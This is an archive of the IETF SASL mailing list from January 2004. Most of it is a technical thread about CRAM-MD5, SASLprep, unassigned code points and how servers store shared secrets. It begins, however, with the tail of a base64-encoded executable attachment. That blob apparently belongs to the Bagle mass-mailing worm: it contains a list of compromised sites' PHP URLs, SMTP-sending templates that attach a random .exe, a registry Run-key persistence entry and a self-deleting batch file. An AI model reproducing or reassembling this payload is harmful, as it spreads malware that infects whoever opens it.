ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ ----------572668853471687-- From owner-ietf-sasl Wed Jan 21 10:52:07 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LIq7ib027650; Wed, 21 Jan 2004 10:52:07 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LIq7JP027649; Wed, 21 Jan 2004 10:52:07 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (209-139-252-102.canadawired.com [209.139.252.102] (may be forged)) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LIq5ib027641 for ; Wed, 21 Jan 2004 10:52:06 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 209-139-252-102.canadawired.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 7C7BB66F0E for ; Wed, 21 Jan 2004 10:52:01 -0800 (PST) Date: Tue, 20 Jan 2004 22:05:01 -0800 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text Message-ID: <2147483647.1074636301@localhost> In-Reply-To: References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --On 2004-1-15 10:53 PM -0500 Sam Hartman wrote: > I disagree and believe that the choice of encoding and normalization > for the authentication identity is entirely a matter of choice for the > mechanism document and is out of scope for normative comments from the > base spec. The base spec can and does give advice on what best > practice is with regard to these issues. Fair enough. I'm not convinced there is consensus either for or against adding Sam's proposed text. Could the WG chairs please conduct a 'hum' over whether the text should be added to the draft? This is the last outstanding issue, and as soon as it's resolved we can get this document into last call. --lyndon From owner-ietf-sasl Wed Jan 21 12:31:48 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LKVmib032503; Wed, 21 Jan 2004 12:31:48 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LKVmUx032502; Wed, 21 Jan 2004 12:31:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from ckmso2.proxy.att.com (ckmso2.att.com [209.219.209.75]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LKViib032491 for ; Wed, 21 Jan 2004 12:31:46 -0800 (PST) (envelope-from tony@att.com) Received: from maillennium.att.com ([135.25.114.99]) by ckmso2.proxy.att.com (AT&T IPNS/MSO-5.0) with ESMTP id i0LKVejs031324 for ; Wed, 21 Jan 2004 15:31:40 -0500 Received: from att.com (unknown[135.210.35.3](misconfigured sender)) by maillennium.att.com (mailgw1) with ESMTP id <20040121202927gw100o260ne>; Wed, 21 Jan 2004 20:29:27 +0000 Message-ID: <400EE1AD.6010309@att.com> Date: Wed, 21 Jan 2004 15:31:41 -0500 From: Tony Hansen User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Lyndon Nerenberg CC: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> In-Reply-To: <2147483647.1074636301@localhost> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I think it should be common to all mechanisms, and thus belongs in the base spec. Tony Hansen tony@att.com Lyndon Nerenberg wrote: > > --On 2004-1-15 10:53 PM -0500 Sam Hartman wrote: > >> I disagree and believe that the choice of encoding and normalization >> for the authentication identity is entirely a matter of choice for the >> mechanism document and is out of scope for normative comments from the >> base spec. The base spec can and does give advice on what best >> practice is with regard to these issues. > > Fair enough. I'm not convinced there is consensus either for or against > adding Sam's proposed text. Could the WG chairs please conduct a 'hum' > over whether the text should be added to the draft? This is the last > outstanding issue, and as soon as it's resolved we can get this document > into last call. > > --lyndon From owner-ietf-sasl Wed Jan 21 13:05:17 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LL5Eib034733; Wed, 21 Jan 2004 13:05:16 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LL5El6034732; Wed, 21 Jan 2004 13:05:14 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LL5Dib034726 for ; Wed, 21 Jan 2004 13:05:13 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0LL5Eec012041; Wed, 21 Jan 2004 21:05:14 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121125336.03cc3358@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 13:04:48 -0800 To: Lyndon Nerenberg From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: Sam Hartman , ietf-sasl@imc.org In-Reply-To: <2147483647.1073925785@115.216-123-230-0.interbaun.com> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 03:43 PM 1/12/2004, Lyndon Nerenberg wrote: >--On 2004-1-12 5:38 PM -0500 Sam Hartman wrote: > >>I'd like to hear from people who believe we should allow unassigned >>codepoints in cram-md5. > >Taking off my editor's visor, I personally think this whole issue is out of scope for the CRAM document, and needs to be addressed in the base SASL document, or not at all (i.e. let the stringprep document says what needs to be said, if anything). Depends on what you mean by "whole issue". The unassigned code point handling is certain germane to the preparation of strings in CRAM-MD5. However, CRAM-MD5 should just rely on SASLprep to cover the particulars of that handling. Now, if you mean this bit: However, if the original, unprepared string, is not stored, it may render the computed secret to be incompatible with a future revisions of SASLPrep that support currently unassigned code points (compare section 7 of [StringPrep]). It is therefor recommended to store the unprepared string in the database. I would agree that this text should mot be included in the document. Kurt From owner-ietf-sasl Wed Jan 21 13:32:20 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LLWJib035646; Wed, 21 Jan 2004 13:32:19 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LLWJ3u035645; Wed, 21 Jan 2004 13:32:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LLWIib035639 for ; Wed, 21 Jan 2004 13:32:18 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0LLWKec012324; Wed, 21 Jan 2004 21:32:20 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 13:31:53 -0800 To: Lyndon Nerenberg From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: ietf-sasl@imc.org In-Reply-To: <2147483647.1074636301@localhost> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 10:05 PM 1/20/2004, you wrote: >--On 2004-1-15 10:53 PM -0500 Sam Hartman wrote: >>I disagree and believe that the choice of encoding and normalization >>for the authentication identity is entirely a matter of choice for the >>mechanism document and is out of scope for normative comments from the >>base spec. The base spec can and does give advice on what best >>practice is with regard to these issues. > >Fair enough. I'm not convinced there is consensus either for or against adding Sam's proposed text. Could the WG chairs please conduct a 'hum' over whether the text should be added to the draft? This is the last outstanding issue, and as soon as it's resolved we can get this document into last call. Last CRAM-MD5 text I saw proposed was from Simon, not Sam. http://www.imc.org/ietf-sasl/mail-archive/msg01371.html If you were asking about some other suggested text, please send me a URL to the post suggesting it. I note that the WG has already achieved, I believe, consensus that: 1) form of authentication identities are, by their very nature, mechanism specific, 2) mechanisms whose authentication identities are in the form of a simple user name should use SASLprep, and 3) mechanisms whose shared secrets are in the form of a simple password should use SASLprep. I do not think there is significant contention here. In particular, I don't see anyone voicing concern regarding this portion of the suggested text: The server MUST prepare the shared secret string using the [SASLPrep] profile of the [StringPrep] algorithm. The resulting value MUST be encoded as UTF-8 [UTF8]. The server may store the prepared string instead of, or as well as, the unprepared string, so that it does not have to prepare it every time it is needed for computation. What is in contention is whether the above text should be followed by this additional text: However, if the original, unprepared string, is not stored, it may render the computed secret to be incompatible with a future revisions of SASLPrep that support currently unassigned code points (compare section 7 of [StringPrep]). It is therefor recommended to store the unprepared string in the database. I would like to hear comments as why this additional text should or should not be added. Kurt From owner-ietf-sasl Wed Jan 21 14:41:52 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LMfqib038347; Wed, 21 Jan 2004 14:41:52 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LMfqwU038346; Wed, 21 Jan 2004 14:41:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from minbar.fac.cs.cmu.edu (MINBAR.FAC.CS.CMU.EDU [128.2.185.161]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0LMfpib038339 for ; Wed, 21 Jan 2004 14:41:51 -0800 (PST) (envelope-from jhutz@cmu.edu) Received: from minbar.fac.cs.cmu.edu ([127.0.0.1]) by minbar.fac.cs.cmu.edu id aa27885; 21 Jan 2004 17:41 EST Date: Wed, 21 Jan 2004 17:41:51 -0500 From: Jeffrey Hutzelman To: "Kurt D. Zeilenga" , Lyndon Nerenberg cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text Message-ID: <274250000.1074724911@minbar.fac.cs.cmu.edu> In-Reply-To: <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Wednesday, January 21, 2004 13:31:53 -0800 "Kurt D. Zeilenga" wrote: > What is in contention is whether the above text should be > followed by this additional text: > > However, if the original, unprepared > string, is not stored, it may render the computed secret to be > incompatible with a future revisions of SASLPrep that support > currently unassigned code points (compare section 7 of > [StringPrep]). It is therefor recommended to store the > unprepared string in the database. It is true, IF the server's database is allowed to contain secrets derived from a password containing an unassigned code point. This brings us back to the original point -- a "storage" string should not be allowed to contain unassigned code points. This _is_ a mechanism-specific issue. SASLprep can't specify globally whether unassigned code points are permitted or not, because the answer depends on context -- they are permitted in "query" strings, but not in "storage" strings, and it is up to each specific user of SASLprep to specify whether unassigned code points are permitted. It cannot even be decided globally for SASL -- SASL doesn't deal in "usernames" and "passwords"; it deals in "authentication identities" (whose form is necessarily mechanism-specific) and "authorization identities" (whose form is necessarily application-specific). Since most SASL mechanisms are and will be built on otherwise existing authentication technologies, it is inappropriate for SASL to dictate the form of authentication identities or how they should be prepared. I believe we already have concensus on this issue. Returning to the present question... IMHO, the above text is appropriate and desirable iff CRAM-MD5 passwords stored by the server are permitted to contain unassigned code points. If that is not permitted, then alternate (but very similar) text should be included stating such. It should be pointed out that storing the unprepared string is not a solution to the server's problem. Unless the server and client agree on the normalization mapping for every character in the client's password, the authentication will fail. It is intended that for code points which both sides believe are assigned, this cannot happen. However, if one side believes a code point is unassigned, and the other believes it should be mapped to something else, then you lose. In this scenario, it does not matter whether the server prepared the string when it was stored in the database, or when the client made the request. That only matters when you upgrade the server. If strings are prepared at storage time, upgrading the server has no effect. If they are prepared when a request is received, then upgrading the server will fix problems for some clients (those which were newer than the server), and create new problems for other clients (those which are now older than the server). _THIS_ is an example of why unassigned code points should not be permitted in storage strings. -- Jeffrey T. Hutzelman (N3NHS) Sr. Research Systems Programmer School of Computer Science - Research Computing Facility Carnegie Mellon University - Pittsburgh, PA From owner-ietf-sasl Wed Jan 21 15:02:13 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LN2Cib038905; Wed, 21 Jan 2004 15:02:13 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LN2CVJ038904; Wed, 21 Jan 2004 15:02:12 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LN2Bib038896; Wed, 21 Jan 2004 15:02:11 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0LN2Dec013980; Wed, 21 Jan 2004 23:02:13 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 15:01:46 -0800 To: Paul Hoffman / IMC From: "Kurt D. Zeilenga" Subject: Re: A different thought on saslprep Cc: ietf-sasl@imc.org In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 03:17 PM 1/12/2004, Paul Hoffman / IMC wrote: >Greetings again. Sorry for coming in so late on this, but three issues were just pointed out to me about this document and I thought they might be worthy of discussion. Sorry for the delayed response... >The first is an implementation issue. In order to use saslprep on the shared secret, the application needs to know the text encoding used to enter the shared secret. Until now, that has always been ASCII, so no big problem there. Most of the mechanisms using SASLprep have supported UTF-8 encoded Unicode passwords for many years. The introduction of SASLprep doesn't make the problem any worse. (It might make it better as it, in many cases, requires the client (which is more likely to know what character set/encoding the character data is in) to do more with the data.) >However, once we open up to the Unicode character set, we also open up to a zillion odd text encodings (UTF-8, BIG5, ISO 8859-7, ...). Is anyone worried that that programs will get the conversion from what the user entered for the shared secret into Unicode code points wrong? Not terribly. I will not that we use to have lots of similar problems in LDAP. Clients use to send character data values in whatever character set/encoding suited them. Once we implemented UTF-8 validation in the servers, the client developers got their acts together. I suspect the same has/is/will happen in SASL as well. >The second is shared secrets that aren't text. Is the shared secret always text, or is there a pure binary form? If so, you can't saslprep the pure binary form. I'm assuming this is a non-issue, but I might have not found the right place in the SASL draft. SASLprep is not applicable to usernames/passwords which are not composed of Unicode character data. The interesting case is where you have a protocol which supports octet-string passwords where those passwords may at times be character data. LDAP simple bind is an example of such. The current proposal for improving interoperability when the password is character data is to, in this case and only this case, require transcoding to Unicode, preparation with SASLprep, and transfer as UTF-8. This approach, though it does have a few problems, seems to be the best we can do (without changing the octet-string password aspect of the protocol/data model). >The second is a security consideration. Running saslprep over a shared secret reduces the entropy of the shared secret by eliminating some characters and mapping others. Not a big deal, but it does make an attacker's job easier. In theory, yes. But one could argue that, in practice, the introduction of SASLprep will make more of the password space usable hence making the attacker's job harder. Kurt From owner-ietf-sasl Wed Jan 21 16:14:20 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M0EJib041417; Wed, 21 Jan 2004 16:14:20 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M0EJCv041416; Wed, 21 Jan 2004 16:14:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M0EHib041410 for ; Wed, 21 Jan 2004 16:14:17 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0M0EIec014676; Thu, 22 Jan 2004 00:14:18 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121155326.03d01430@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 16:13:51 -0800 To: Jeffrey Hutzelman From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: Lyndon Nerenberg , ietf-sasl@imc.org In-Reply-To: <274250000.1074724911@minbar.fac.cs.cmu.edu> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> <274250000.1074724911@minbar.fac.cs.cmu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 02:41 PM 1/21/2004, Jeffrey Hutzelman wrote: >On Wednesday, January 21, 2004 13:31:53 -0800 "Kurt D. Zeilenga" wrote: >>What is in contention is whether the above text should be >>followed by this additional text: >> >> However, if the original, unprepared >> string, is not stored, it may render the computed secret to be >> incompatible with a future revisions of SASLPrep that support >> currently unassigned code points (compare section 7 of >> [StringPrep]). It is therefor recommended to store the >> unprepared string in the database. > >It is true, IF the server's database is allowed to contain secrets derived from a password containing an unassigned code point. This brings us back to the original point -- a "storage" string should not be allowed to contain unassigned code points. > >This _is_ a mechanism-specific issue. SASLprep can't specify globally whether unassigned code points are permitted or not, because the answer depends on context -- they are permitted in "query" strings, but not in "storage" strings, and it is up to each specific user of SASLprep to specify whether unassigned code points are permitted. Er, right, it's up to the mechanism specification to state whether, and if so how, SASLprep is used. CRAM-MD5 says SASLprep is used. Is this issue simply which the server provided shared secret is a "storage" string or not? To answer that, can we just ask, is the client provided shared secret a "query" string? If yes, then the server provided shared secret must be a "storage" string. Right? >It cannot even be decided globally for SASL -- SASL doesn't deal in "usernames" and "passwords"; it deals in "authentication identities" (whose form is necessarily mechanism-specific) and "authorization identities" (whose form is necessarily application-specific). Since most SASL mechanisms are and will be built on otherwise existing authentication technologies, it is inappropriate for SASL to dictate the form of authentication identities or how they should be prepared. I believe we already have concensus on this issue. This is, I think, is basically in line with what I said. >Returning to the present question... >IMHO, the above text is appropriate and desirable iff CRAM-MD5 passwords stored by the server are permitted to contain unassigned code points. If that is not permitted, then alternate (but very similar) text should be included stating such. Sounds like your asking for a clear indication in the document as which strings are "query" strings, which are "storage" strings, and what that implies. That seems quite reasonable. >It should be pointed out that storing the unprepared string is not a solution to the server's problem. Unless the server and client agree on the normalization mapping for every character in the client's password, the authentication will fail. It is intended that for code points which both sides believe are assigned, this cannot happen. However, if one side believes a code point is unassigned, and the other believes it should be mapped to something else, then you lose. > >In this scenario, it does not matter whether the server prepared the string when it was stored in the database, or when the client made the request. That only matters when you upgrade the server. If strings are prepared at storage time, upgrading the server has no effect. If they are prepared when a request is received, then upgrading the server will fix problems for some clients (those which were newer than the server), and create new problems for other clients (those which are now older than the server). _THIS_ is an example of why unassigned code points should not be permitted in storage strings. As I understand it, this suggested additional text allows what is an invalid password representation (contains unassigned characters) in server to become a valid password representation (those characters are now assigned) upon some future update of that server. This seems really odd to me. It would seem far wiser to refuse to accept invalid representations (due to unassigned characters) as one has no clue at the time of implementation whether or not a particular invalid representation will ever come valid in the future. Kurt From owner-ietf-sasl Thu Jan 22 01:34:42 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9Ygib035212; Thu, 22 Jan 2004 01:34:42 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M9YgPk035211; Thu, 22 Jan 2004 01:34:42 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (YahooBB218183214072.bbtec.net [218.183.214.72]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9Yeib035182 for ; Thu, 22 Jan 2004 01:34:41 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id AA04015159C; Thu, 22 Jan 2004 04:33:49 -0500 (EST) To: Tony Hansen Cc: Lyndon Nerenberg , ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> <400EE1AD.6010309@att.com> From: Sam Hartman Date: Thu, 22 Jan 2004 04:33:49 -0500 